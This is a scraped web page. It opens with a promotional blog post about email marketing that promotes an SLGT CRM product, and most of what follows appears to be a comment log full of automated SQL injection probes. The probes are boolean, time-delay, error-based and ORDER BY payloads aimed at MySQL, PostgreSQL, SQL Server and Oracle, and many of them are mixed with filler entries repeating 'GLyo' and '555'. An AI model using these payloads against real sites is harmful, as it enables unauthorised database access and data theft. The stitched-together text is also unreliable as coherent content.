Email Marketing - To Nurture Leads

Email Marketing - To Nurture Leads

 

Nowadays, The Internet is radically changing the way, people search and receive information. On businesses, luckily this interconnectedness allows them to deliver content in different ways: social media, blogging, video, audio, and a host of other interactive platforms. Plus, let’s not forget email. You can also select the best CRM for email marketing that lessens your burden.

 

Email marketing is very much alive. A recent study says that more than 80% of B2B and B2C companies are still using email marketing technologies as part of their marketing strategies. The email content is six times more likely to be clicked than tweeted content. The numbers, compiled by experts and practitioners in the field of marketing, are compelling indeed. Automation, mobile, personalization, engagement, or ROI are echoing the same point—but email is still highly relevant in the modern age.

 

Personalized Email Marketing

 

Personalized Emails

To make your prospects to take notice of your message, you need to do so much more than just push your content. Personalizing your emails means you know your subscribers well enough to know what they’re looking for. At the right time and via the right channel, we should be ready to give it to them.

Some of the ways to maximize your personalized email strategies are as follows:

 

Practice Segmentation

 

Practicing Segmentation in Your Email Marketing means grouping your leads by their browsing activity, demographic information, and purchase history. This grouped data can then be used to customize your email, making them more relevant to any particular group of contacts.

 

Segmenting the Email enables you to track your leads’ activity according to the category they belong to. With this information, you can come up with different customer personas. Providing the relevant content that’s valuable to each persona group is our next move.

 

Offer Well-Tailored Content

 

We should understand that “creating relevant and compelling content” is the most effective and the most challenging email marketing tactic. So let's see how we do it?

 

Use personalized emails to direct your customers to a landing page on your website, which should have the same look and copy as your email, including CTAs is. The idea is identifying your customer segments, writing custom emails for each segment, and developing several landing pages for that particular segment. With this strategy, you give your leads an integrated, personalized email experience and encourage them to convert as customers.

 

Automate Your Email Marketing

 

To generate, nurture, and manage leads, and you need tools to automate the majority of the tasks involved in email marketing. These automated tools are not only meant to make things easier for you but also help you to scale things up in the personalized email department as well.

 

The strategy involves sending emails to accounts that haven’t been active on the platform for some time, encouraging them to engage more. As a welcome greeting, for up-selling or cross-selling pitches, and sending updates about your subscriber’s account we can make use of trigger emails. Check out our SLGT CRM‘s Marketing Management Module that has options to select Additional Email Services in 10K, 100 K, and 1 Million Slabs according to your needs.

 

The Nature of Marketing Automation

 

Marketing Automation

 

Automation is marketing technology in action that enables you in tracking the digital footprints of your leads, turning those interactions into insights about the customers’ sales journey, and help you in crafting better content to drive prospects towards a purchase decision. Simply go for free trial signup at CBS Systems Corp and avail of free Sales Lead Generation SLGT CRM with Email Marketing.

 

 

 

 

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1/4/2022 6:14 PM
-1 OR 2+272-272-1=0+0+0+1
1/4/2022 6:14 PM
-1' OR 2+216-216-1=0+0+0+1 --
1/4/2022 6:14 PM
-1' OR 2+306-306-1=0+0+0+1 or 'IUukkQ1n'='
1/4/2022 6:14 PM
-1" OR 2+867-867-1=0+0+0+1 --
1/4/2022 6:15 PM
if(now()=sysdate(),sleep(15),0)
1/4/2022 6:15 PM
555
1/4/2022 6:15 PM
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
1/4/2022 6:15 PM
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
1/4/2022 6:15 PM
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1/4/2022 6:15 PM
-1; waitfor delay '0:0:15' --
1/4/2022 6:16 PM
-1); waitfor delay '0:0:15' --
1/4/2022 6:16 PM
1 waitfor delay '0:0:15' --
1/4/2022 6:16 PM
VxodniXt'; waitfor delay '0:0:15' --
1/4/2022 6:16 PM
-5 OR 941=(SELECT 941 FROM PG_SLEEP(15))--
1/4/2022 6:16 PM
-5) OR 942=(SELECT 942 FROM PG_SLEEP(15))--
1/4/2022 6:16 PM
-1)) OR 707=(SELECT 707 FROM PG_SLEEP(15))--
1/4/2022 6:17 PM
oPVz4rKT' OR 27=(SELECT 27 FROM PG_SLEEP(15))--
1/4/2022 6:17 PM
b0Ar5RgV') OR 360=(SELECT 360 FROM PG_SLEEP(15))--
1/4/2022 6:17 PM
NL41m10m')) OR 765=(SELECT 765 FROM PG_SLEEP(15))--
1/4/2022 6:17 PM
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1/4/2022 6:17 PM
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1/4/2022 6:17 PM
1'"
1/4/2022 6:17 PM
@@djtZW
1/4/2022 6:17 PM
555
1/4/2022 6:18 PM
555
1/4/2022 6:19 PM
555
1/4/2022 6:41 PM
555
1/4/2022 6:41 PM
555
1/4/2022 6:41 PM
555
4/26/2022 8:48 AM
555
4/26/2022 8:48 AM
555
4/26/2022 8:49 AM
555
4/26/2022 8:49 AM
-1 OR 2+744-744-1=0+0+0+1 --
4/26/2022 8:49 AM
-1 OR 2+504-504-1=0+0+0+1
4/26/2022 8:49 AM
-1' OR 2+776-776-1=0+0+0+1 --
4/26/2022 8:49 AM
-1' OR 2+578-578-1=0+0+0+1 or '390RlHbY'='
4/26/2022 8:49 AM
-1" OR 2+234-234-1=0+0+0+1 --
4/26/2022 8:49 AM
if(now()=sysdate(),sleep(15),0)
4/26/2022 8:49 AM
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
4/26/2022 8:49 AM
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
4/26/2022 8:49 AM
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
4/26/2022 8:49 AM
-1; waitfor delay '0:0:15' --
4/26/2022 8:49 AM
-1); waitfor delay '0:0:15' --
4/26/2022 8:49 AM
1 waitfor delay '0:0:15' --
4/26/2022 8:49 AM
r9LPKKnY'; waitfor delay '0:0:15' --
4/26/2022 8:50 AM
-5 OR 32=(SELECT 32 FROM PG_SLEEP(15))--
4/26/2022 8:50 AM
-5) OR 423=(SELECT 423 FROM PG_SLEEP(15))--
4/26/2022 8:50 AM
-1)) OR 834=(SELECT 834 FROM PG_SLEEP(15))--
4/26/2022 8:50 AM
clKieFKF' OR 937=(SELECT 937 FROM PG_SLEEP(15))--
4/26/2022 8:50 AM
vSe9rwMJ') OR 174=(SELECT 174 FROM PG_SLEEP(15))--
4/26/2022 8:50 AM
6kXjHOQT')) OR 203=(SELECT 203 FROM PG_SLEEP(15))--
4/26/2022 8:50 AM
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
4/26/2022 8:50 AM
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
4/26/2022 8:50 AM
1'"
4/26/2022 8:50 AM
@@TQRdV
4/26/2022 8:50 AM
555
4/26/2022 8:50 AM
555
4/26/2022 8:51 AM
555
4/26/2022 8:51 AM
555
4/26/2022 8:52 AM
555
10/9/2023 6:30 AM
GLyo
10/9/2023 6:30 AM
GLyo
10/9/2023 6:30 AM
GLyo,),,))'"(,
10/9/2023 6:30 AM
GLyo'UQTddM<'">RNUiwo
10/9/2023 6:30 AM
GLyo') AND 7130=2525 AND ('IUZl'='IUZl
10/9/2023 6:30 AM
GLyo' AND 1616=6768 AND 'yXtP'='yXtP
10/9/2023 6:30 AM
GLyo) AND 8814=9424 AND (6128=6128
10/9/2023 6:30 AM
GLyo AND 3852=4392
10/9/2023 6:30 AM
GLyo AND 1446=4248-- rTYE
10/9/2023 6:30 AM
(SELECT (CASE WHEN (6886=1972) THEN 'GLyo' ELSE (SELECT 1972 UNION SELECT 7545) END))
10/9/2023 6:30 AM
GLyo') AND EXTRACTVALUE(9379,CONCAT(0x5c,0x71786b6a71,(SELECT (ELT(9379=9379,1))),0x717a716b71)) AND ('ezJC'='ezJC
10/9/2023 6:30 AM
GLyo' AND EXTRACTVALUE(9379,CONCAT(0x5c,0x71786b6a71,(SELECT (ELT(9379=9379,1))),0x717a716b71)) AND 'uUFN'='uUFN
10/9/2023 6:30 AM
GLyo) AND EXTRACTVALUE(9379,CONCAT(0x5c,0x71786b6a71,(SELECT (ELT(9379=9379,1))),0x717a716b71)) AND (1110=1110
10/9/2023 6:30 AM
GLyo AND EXTRACTVALUE(9379,CONCAT(0x5c,0x71786b6a71,(SELECT (ELT(9379=9379,1))),0x717a716b71))
10/9/2023 6:30 AM
GLyo AND EXTRACTVALUE(9379,CONCAT(0x5c,0x71786b6a71,(SELECT (ELT(9379=9379,1))),0x717a716b71))-- WKft
10/9/2023 6:30 AM
GLyo') AND 2716=CAST((CHR(113)||CHR(120)||CHR(107)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (2716=2716) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(122)||CHR(113)||CHR(107)||CHR(113)) AS NUMERIC) AND ('iFsJ'='iFsJ
10/9/2023 6:30 AM
GLyo' AND 2716=CAST((CHR(113)||CHR(120)||CHR(107)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (2716=2716) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(122)||CHR(113)||CHR(107)||CHR(113)) AS NUMERIC) AND 'qiMq'='qiMq
10/9/2023 6:30 AM
GLyo) AND 2716=CAST((CHR(113)||CHR(120)||CHR(107)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (2716=2716) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(122)||CHR(113)||CHR(107)||CHR(113)) AS NUMERIC) AND (6650=6650
10/9/2023 6:30 AM
GLyo AND 2716=CAST((CHR(113)||CHR(120)||CHR(107)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (2716=2716) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(122)||CHR(113)||CHR(107)||CHR(113)) AS NUMERIC)
10/9/2023 6:30 AM
GLyo AND 2716=CAST((CHR(113)||CHR(120)||CHR(107)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (2716=2716) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(122)||CHR(113)||CHR(107)||CHR(113)) AS NUMERIC)-- ulNF
10/9/2023 6:30 AM
GLyo') AND 7227 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(107)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (7227=7227) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(113)+CHAR(107)+CHAR(113))) AND ('nHDz'='nHDz
10/9/2023 6:30 AM
GLyo' AND 7227 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(107)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (7227=7227) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(113)+CHAR(107)+CHAR(113))) AND 'klxU'='klxU
10/9/2023 6:30 AM
GLyo) AND 7227 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(107)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (7227=7227) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(113)+CHAR(107)+CHAR(113))) AND (4341=4341
10/9/2023 6:31 AM
GLyo AND 7227 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(107)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (7227=7227) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(113)+CHAR(107)+CHAR(113)))
10/9/2023 6:31 AM
GLyo AND 7227 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(107)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (7227=7227) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(113)+CHAR(107)+CHAR(113)))-- qVON
10/9/2023 6:31 AM
GLyo') AND 8277=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(120)||CHR(107)||CHR(106)||CHR(113)||(SELECT (CASE WHEN (8277=8277) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(122)||CHR(113)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL) AND ('sSpi'='sSpi
10/9/2023 6:31 AM
GLyo' AND 8277=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(120)||CHR(107)||CHR(106)||CHR(113)||(SELECT (CASE WHEN (8277=8277) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(122)||CHR(113)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL) AND 'hBzb'='hBzb
10/9/2023 6:31 AM
GLyo) AND 8277=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(120)||CHR(107)||CHR(106)||CHR(113)||(SELECT (CASE WHEN (8277=8277) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(122)||CHR(113)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL) AND (1323=1323
10/9/2023 6:31 AM
GLyo AND 8277=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(120)||CHR(107)||CHR(106)||CHR(113)||(SELECT (CASE WHEN (8277=8277) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(122)||CHR(113)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL)
10/9/2023 6:31 AM
GLyo AND 8277=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(120)||CHR(107)||CHR(106)||CHR(113)||(SELECT (CASE WHEN (8277=8277) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(122)||CHR(113)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL)-- iZiv
10/9/2023 6:31 AM
GLyo
10/9/2023 6:31 AM
GLyo
10/9/2023 6:31 AM
GLyo');SELECT PG_SLEEP(5)--
10/9/2023 6:31 AM
GLyo';SELECT PG_SLEEP(5)--
10/9/2023 6:31 AM
GLyo);SELECT PG_SLEEP(5)--
10/9/2023 6:31 AM
GLyo;SELECT PG_SLEEP(5)--
10/9/2023 6:31 AM
GLyo');WAITFOR DELAY '0:0:5'--
10/9/2023 6:31 AM
GLyo';WAITFOR DELAY '0:0:5'--
10/9/2023 6:31 AM
GLyo);WAITFOR DELAY '0:0:5'--
10/9/2023 6:31 AM
GLyo;WAITFOR DELAY '0:0:5'--
10/9/2023 6:31 AM
GLyo');SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(80)||CHR(114)||CHR(106)||CHR(110),5) FROM DUAL--
10/9/2023 6:31 AM
GLyo';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(80)||CHR(114)||CHR(106)||CHR(110),5) FROM DUAL--
10/9/2023 6:31 AM
GLyo);SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(80)||CHR(114)||CHR(106)||CHR(110),5) FROM DUAL--
10/9/2023 6:31 AM
GLyo;SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(80)||CHR(114)||CHR(106)||CHR(110),5) FROM DUAL--
10/9/2023 6:31 AM
GLyo') AND (SELECT 4923 FROM (SELECT(SLEEP(5)))HONi) AND ('LPqd'='LPqd
10/9/2023 6:31 AM
GLyo' AND (SELECT 4923 FROM (SELECT(SLEEP(5)))HONi) AND 'aGoA'='aGoA
10/9/2023 6:31 AM
GLyo) AND (SELECT 4923 FROM (SELECT(SLEEP(5)))HONi) AND (8071=8071
10/9/2023 6:31 AM
GLyo AND (SELECT 4923 FROM (SELECT(SLEEP(5)))HONi)
10/9/2023 6:31 AM
GLyo AND (SELECT 4923 FROM (SELECT(SLEEP(5)))HONi)-- xXyI
10/9/2023 6:31 AM
GLyo') AND 3454=(SELECT 3454 FROM PG_SLEEP(5)) AND ('uxfq'='uxfq
10/9/2023 6:31 AM
GLyo' AND 3454=(SELECT 3454 FROM PG_SLEEP(5)) AND 'oNED'='oNED
10/9/2023 6:31 AM
GLyo) AND 3454=(SELECT 3454 FROM PG_SLEEP(5)) AND (9357=9357
10/9/2023 6:31 AM
GLyo AND 3454=(SELECT 3454 FROM PG_SLEEP(5))
10/9/2023 6:31 AM
GLyo AND 3454=(SELECT 3454 FROM PG_SLEEP(5))-- zdMG
10/9/2023 6:31 AM
GLyo') WAITFOR DELAY '0:0:5' AND ('KBtA'='KBtA
10/9/2023 6:31 AM
GLyo' WAITFOR DELAY '0:0:5' AND 'Gazx'='Gazx
10/9/2023 6:31 AM
GLyo) WAITFOR DELAY '0:0:5' AND (7439=7439
10/9/2023 6:31 AM
GLyo WAITFOR DELAY '0:0:5'
10/9/2023 6:31 AM
GLyo WAITFOR DELAY '0:0:5'-- iyvk
10/9/2023 6:31 AM
GLyo') AND 8542=DBMS_PIPE.RECEIVE_MESSAGE(CHR(89)||CHR(121)||CHR(71)||CHR(65),5) AND ('gDkM'='gDkM
10/9/2023 6:31 AM
GLyo' AND 8542=DBMS_PIPE.RECEIVE_MESSAGE(CHR(89)||CHR(121)||CHR(71)||CHR(65),5) AND 'pkZI'='pkZI
10/9/2023 6:31 AM
GLyo) AND 8542=DBMS_PIPE.RECEIVE_MESSAGE(CHR(89)||CHR(121)||CHR(71)||CHR(65),5) AND (5480=5480
10/9/2023 6:31 AM
GLyo AND 8542=DBMS_PIPE.RECEIVE_MESSAGE(CHR(89)||CHR(121)||CHR(71)||CHR(65),5)
10/9/2023 6:31 AM
GLyo AND 8542=DBMS_PIPE.RECEIVE_MESSAGE(CHR(89)||CHR(121)||CHR(71)||CHR(65),5)-- FTTa
10/9/2023 6:31 AM
GLyo') ORDER BY 1-- CYQl
10/9/2023 6:31 AM
GLyo') ORDER BY 8261-- LQWj
10/9/2023 6:31 AM
GLyo' ORDER BY 1-- lIYR
10/9/2023 6:31 AM
GLyo' ORDER BY 1403-- JdPd
10/9/2023 6:31 AM
GLyo) ORDER BY 1-- SMGo
10/9/2023 6:31 AM
GLyo) ORDER BY 7310-- UOPZ
10/9/2023 6:31 AM
GLyo ORDER BY 1-- AAXI
10/9/2023 6:31 AM
GLyo ORDER BY 8380-- bfNE
10/9/2023 6:31 AM
GLyo ORDER BY 1-- WiYw
10/9/2023 6:31 AM
GLyo ORDER BY 9022-- yOIr
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:32 AM
GLyo
10/9/2023 6:33 AM
GLyo
10/9/2023 6:33 AM
GLyo
10/9/2023 6:33 AM
GLyo
10/9/2023 6:33 AM
GLyo
10/9/2023 6:33 AM
GLyo
10/9/2023 6:33 AM
GLyo
10/9/2023 6:33 AM
GLyo
10/9/2023 6:33 AM
GLyo
10/9/2023 6:33 AM
GLyo
10/9/2023 6:33 AM
GLyo
10/9/2023 6:33 AM
GLyo
10/9/2023 6:33 AM
GLyo
10/9/2023 6:33 AM
GLyo
10/9/2023 6:33 AM
GLyo
10/9/2023 6:33 AM
GLyo
10/9/2023 6:33 AM
GLyo
10/9/2023 6:33 AM
GLyo
10/9/2023 6:33 AM
GLyo
10/9/2023 6:33 AM
GLyo